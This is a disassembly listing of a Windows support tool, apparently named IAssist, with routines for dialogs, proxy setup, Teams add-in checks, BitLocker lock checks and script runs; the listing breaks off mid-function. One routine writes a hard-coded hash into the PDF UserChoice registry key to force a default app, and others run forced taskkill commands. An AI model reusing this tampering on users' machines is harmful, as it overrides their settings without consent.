call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0xb00]
lea rcx, [rsp + 0x1990]
call fcn.140006490
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdi, rax
lea rcx, [rsp + 0x1990]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb00]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [r15 + 0x248]
lea rcx, [rsp + 0xb08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0xb08]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rcx, rax
lea rdx, str.showProgressDlg
call fcn.14000d8d0
movzx ebx, al
lea rcx, [rsp + 0xb08]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
test bl, bl
je 0x1400a5ad3
lea rax, [rsp + 0x1998]
mov qword [rsp + 0x58], rax
lea rdx, str.showProgressDlg
lea rcx, [rsp + 0x1998]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
call fcn.14010a220
nop
lea rcx, [rsp + 0xb10]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
cmp edi, 0x20
setge sil
jmp 0x1400acb92
lea rdx, str.doesfilepathexists
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a5bbf
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x19a0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x19a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x19a8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x19a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x19b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
jmp 0x1400acb8f
lea rdx, str.skypeDialog
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a5c19
xor edx, edx
lea rcx, [rsp + 0x73b0]
call fcn.1400cf370
nop
lea rcx, [rsp + 0x73b0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
cmp rax, 1
jne 0x1400a5bf8
movzx esi, al
jmp 0x1400a5c07
movzx esi, sil
xor r14d, r14d
cmp rax, 2
cmove esi, r14d
lea rcx, [rsp + 0x73b0]
call fcn.1400cf470
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.ProxyDialogForClient
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a5e89
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x19b8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x19b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x19c0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x19c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3b8
lea rcx, [rsp + 0x19e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x140150ad0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
je 0x1400a5d42
lea rax, [rsp + 0x19c8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x19c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0xb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x19d0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x19d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor edx, edx
lea rcx, [rsp + 0x2550]
call fcn.14000f1c0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x19d8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
mov qword [rsp + 0x58], rax
mov rdx, rax
lea rcx, [rsp + 0x27b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
mov rcx, rbx
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0xb18]
lea rcx, [rsp + 0x19e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
mov qword [rsp + 0x58], rax
mov rdx, rax
lea rcx, [rsp + 0x27b8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
mov rcx, rbx
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x2550]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
test eax, eax
sete sil
lea rcx, [rsp + 0x2550]
call fcn.14000f4f0
nop
lea rcx, [rsp + 0xb18]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x19e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.MakeAdobeRederDefault
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
test eax, eax
js 0x1400a5fb1
lea rax, [rsp + 0x668]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.pdfUserChoice
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
lea rdx, str.02AIRV7bRz8
lea rcx, [rsp + 0x678]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, str.AcroExch.Document.DC
lea rcx, [rsp + 0x670]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
test ebx, ebx
jne 0x1400a5f95
cmp qword [rsp + 0x668], 0
je 0x1400a5f95
lea rcx, [rsp + 0x678]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
lea rcx, [rsp + 0x678]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov edi, 1
mov r9d, edi
xor r8d, r8d
lea rdx, str.Hash
mov rcx, qword [rsp + 0x668]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, [rsp + 0x670]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
lea rcx, [rsp + 0x670]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.Progid
mov rcx, qword [rsp + 0x668]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, [rsp + 0x670]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x678]
jmp 0x14009cc67
lea rdx, str.getdllfolderlocation
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a60aa
lea rdx, str._appdataLocalMicrosoftTeamsMeetingAddinmeeting_addin_install_logs.txt
lea rcx, [rsp + 0xb20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x19f8]
call fcn.1400ff890
nop
mov r8, rax
lea rdx, [0x1401520b8]
lea rcx, [rsp + 0x19f0]
call fcn.14009c1e0
nop
lea r8, [rsp + 0xb20]
mov rdx, rax
lea rcx, [rsp + 0xb28]
call fcn.140006490
nop
lea rcx, [rsp + 0x19f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x19f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb20]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0xb28]
lea rcx, [rsp + 0x1a00]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
lea rcx, [0x1401e96b0]
test al, al
jne 0x1400a6087
lea rdx, str.Microsoft_Teams_is_not_installed._Please_install_it_so_that_you_can_enable_its_add_in_in_Outlook._Click_on_NEXT_STEP.
call qword [sym.imp.mfc140u.dll_CMFCControlRendererInfo::CMFCControlRendererInfo]
xor sil, sil
jmp 0x1400a6097
lea rdx, str.Microsoft_Teams_Meeting_Add_in_is_already_in_outlook._Click_on_NEXT_STEP.
call qword [sym.imp.mfc140u.dll_CMFCControlRendererInfo::CMFCControlRendererInfo]
mov sil, 1
lea rcx, [rsp + 0xb28]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.forcecloseexe
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a623b
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1a08]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1a08]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0xb48]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
lea rcx, [rsp + 0xb40]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [0x14016e594]
lea rcx, [rsp + 0xb38]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.taskkill__F__IM
lea rcx, [rsp + 0xb30]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xb48]
lea rdx, [rsp + 0xb30]
lea rcx, [rsp + 0x1a20]
call fcn.140006490
nop
lea r8, [rsp + 0xb38]
mov rdx, rax
lea rcx, [rsp + 0x1a10]
call fcn.140006490
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1a18]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0xb40]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1a18]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1a20]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb40]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb48]
jmp 0x14009d7a2
lea rdx, str.isDriveLocked
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a647d
lea rcx, [rsp + 0xb60]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x4e0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.c:WindowsIAssist
lea rcx, [rsp + 0xb58]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1a30]
call fcn.140101410
nop
mov r8d, 0x80
lea rdx, [rsp + 0xfb00]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0xfb00]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, [rsp + 0xfb00]
lea rcx, [rsp + 0x680]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, [rsp + 0xb58]
lea rcx, [rsp + 0x680]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [0x14016b010]
lea rcx, [rsp + 0xb50]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xb50]
lea rdx, [rsp + 0x680]
lea rcx, [rsp + 0x1a28]
call fcn.140006490
lea rcx, [0x1401e9678]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x4d8]
lea r8, [rsp + 0x4e0]
lea rdx, [rsp + 0xb60]
mov rcx, rax
call fcn.1401074a0
nop
lea rcx, [rsp + 0xb50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.DLocked
lea rcx, [rsp + 0x4e0]
call fcn.14000d8d0
test al, al
je 0x1400a63c1
lea rdx, [rsp + 0x4d8]
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
mov edi, 1
mov dword [rsp + 0x28], edi
xor r14d, r14d
mov qword [rsp + 0x20], r14
lea r9, [0x140150ad0]
lea r8, [0x14016e5d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movzx esi, dil
jmp 0x1400a641f
lea rdx, [0x140166700]
lea rcx, [rsp + 0x4e0]
call fcn.14000d8d0
test al, al
je 0x1400a641f
lea rdx, [rsp + 0x4d8]
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
mov edi, 1
mov dword [rsp + 0x28], edi
xor r14d, r14d
mov qword [rsp + 0x20], r14
lea r9, str.C:WinBDERecoveryKey
lea r8, [0x14016e5d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor sil, sil
lea rcx, [rsp + 0x680]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1a30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x4e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.isDriveEncryptedLocked
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a666c
lea rcx, [rsp + 0xb78]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x698]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x690]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.c:WindowsIAssist
lea rcx, [rsp + 0xb70]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1a40]
call fcn.140101410
nop
mov r8d, 0x80
lea rdx, [rsp + 0xfd00]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0xfd00]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, [rsp + 0xfd00]
lea rcx, [rsp + 0x688]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, [rsp + 0xb70]
lea rcx, [rsp + 0x688]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [0x14016b010]
lea rcx, [rsp + 0xb68]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xb68]
lea rdx, [rsp + 0x688]
lea rcx, [rsp + 0x1a38]
call fcn.140006490
lea rcx, [0x1401e9678]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x690]
lea r8, [rsp + 0x698]
lea rdx, [rsp + 0xb78]
mov rcx, rax
call fcn.1401074a0
nop
lea rcx, [rsp + 0xb68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.DLocked
lea rcx, [rsp + 0x698]
call fcn.14000d8d0
test al, al
je 0x1400a660b
lea rdx, [rsp + 0x690]
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
mov edi, 1
mov dword [rsp + 0x28], edi
xor r14d, r14d
mov qword [rsp + 0x20], r14
lea r9, [0x140150ad0]
lea r8, [0x14016e5d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movzx esi, dil
jmp 0x1400a660e
xor sil, sil
lea rcx, [rsp + 0x688]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1a40]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x690]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x698]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.pstfilecreated
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a6a67
lea rcx, [rsp + 0xba8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1a48]
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1a48]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x4e8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.pstFileclientspecific.vbs
lea rcx, [rsp + 0x1b8]
call fcn.14000d8d0
test al, al
je 0x1400a6809
lea rdx, [0x140154858]
lea rcx, [rsp + 0xb88]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3d0
lea rcx, [rsp + 0xb80]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea r8, [rsp + 0xb88]
lea rdx, [rsp + 0xb80]
lea rcx, [rsp + 0x1a58]
call fcn.140006490
nop
lea r8, [rsp + 0x1b8]
mov rdx, rax
lea rcx, [rsp + 0x1a50]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x4e8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1a50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1a58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb88]
jmp 0x1400a68a6
lea rdx, [0x140166320]
lea rcx, [rsp + 0xb90]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1a70]
call fcn.1400fe460
nop
lea r8, [rsp + 0xb90]
mov rdx, rax
lea rcx, [rsp + 0x1a68]
call fcn.140006490
nop
lea r8, [rsp + 0x1b8]
mov rdx, rax
lea rcx, [rsp + 0x1a60]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x4e8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1a60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1a68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1a70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014fcf8]
lea rcx, [rsp + 0xba0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.CScript
